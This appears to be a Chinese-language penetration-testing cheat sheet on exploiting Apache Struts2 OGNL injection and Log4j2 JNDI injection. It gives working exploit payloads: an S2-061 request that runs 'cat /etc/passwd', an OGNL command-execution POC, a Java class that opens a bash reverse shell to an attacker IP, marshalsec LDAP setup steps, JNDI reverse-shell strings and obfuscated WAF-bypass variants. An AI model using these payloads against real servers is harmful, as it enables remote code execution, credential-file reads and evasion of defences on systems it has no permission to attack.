一、Struts2
现阶段一般很少会用这个框架。
1、漏洞产生原因:struts2(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式(ongl表达式可以获取到运行变量的值,并且有机会执行函数调用),造成远程代码执行。
2、特征:URL地址以 “.action” “.do” 结尾或地址中包含“!”符号。能查看源码时,在应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,如果存在struts2-core-2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件,检测是否存在Struts2漏洞。
3、工具:Liqun工具箱,struts2全版本漏洞检测工具
4、手工测试
(1)、bp抓包,更改请求方式,get--->POST
(2)、发送到重放模块
(3)、删除原有的content-type
(4)、将POC复制到最后,发送
#s2-061
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
常用POC
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))
(5)、查看返回包内容
5、靶场:vulnhub
二、log4j2漏洞
1、log4j2是利用jndi访问ldap协议,调取第三方服务
2、漏洞产生原因:由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
3、验证漏洞存在
(1)、使用bp插件判断
(2)、bp抓包,将包发送到重放模块,在请求包中输入POC发送。
POC:?payload=${jndi:ldap://p5pok7.dnslog.cn/exp}
- p5pok7.dnslog.cn为dnslog网站生成的临时域名
- dnslog网站:DNSLog Platform
- 如果发包后,返回错误,需要将POC进行URL编码
查看dns网站是否解析域名。如果有说明可能存在log4j2漏洞。
4、漏洞复现方法a
Kali B 192.168.200.107(反弹shell)
- 编辑exploit.Java文件,修改其中的IP地址与端口
- IP地址为:反弹shell到这的机器,端口为监听端口
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.200.107/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
- 使用jdk1.8中的javac.exe编译exploit.java文件
- 命令:javac.exe exploit.java
- 会在目录下生成exploit.class文件
- 将生成的exploit.class文件与tools目录打包放到kali B中
- 在目录下打开http服务,让开启ldap服务端的工具marshalsec-0.0.3-SNAPSHOT-all.jar来访问这个文件
- 使用工具,开启ldap服务端,并访问Exploit.class文件
- 打开监听端口
- 在bp抓包后使用POC来连接ldap服务器端的访问过来的Exploit.class文件,通过参数传递到目标服务器进行解析
- 返回监听查看情况,反弹shell成功
5、漏洞复现方法2
- 在kali B上输入命令:
- 打开监听
- 在BP上输入POC:
- ${jndi:ldap://192.168.200.107:1389/Basic/ReverseShell/192.168.200.107/1234}
- 返回监听机子,查看情况。反弹成功
6、WAF绕过
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://xxx.dnslog.cn/poc}
${jndi:rmi://xxx.dnslog.cn/poc}
${${lower:jndi}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:${lower:jndi}}:${lower:rmi}://xxx.dnslog.cn/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://xxx.dnslog.cn/poc}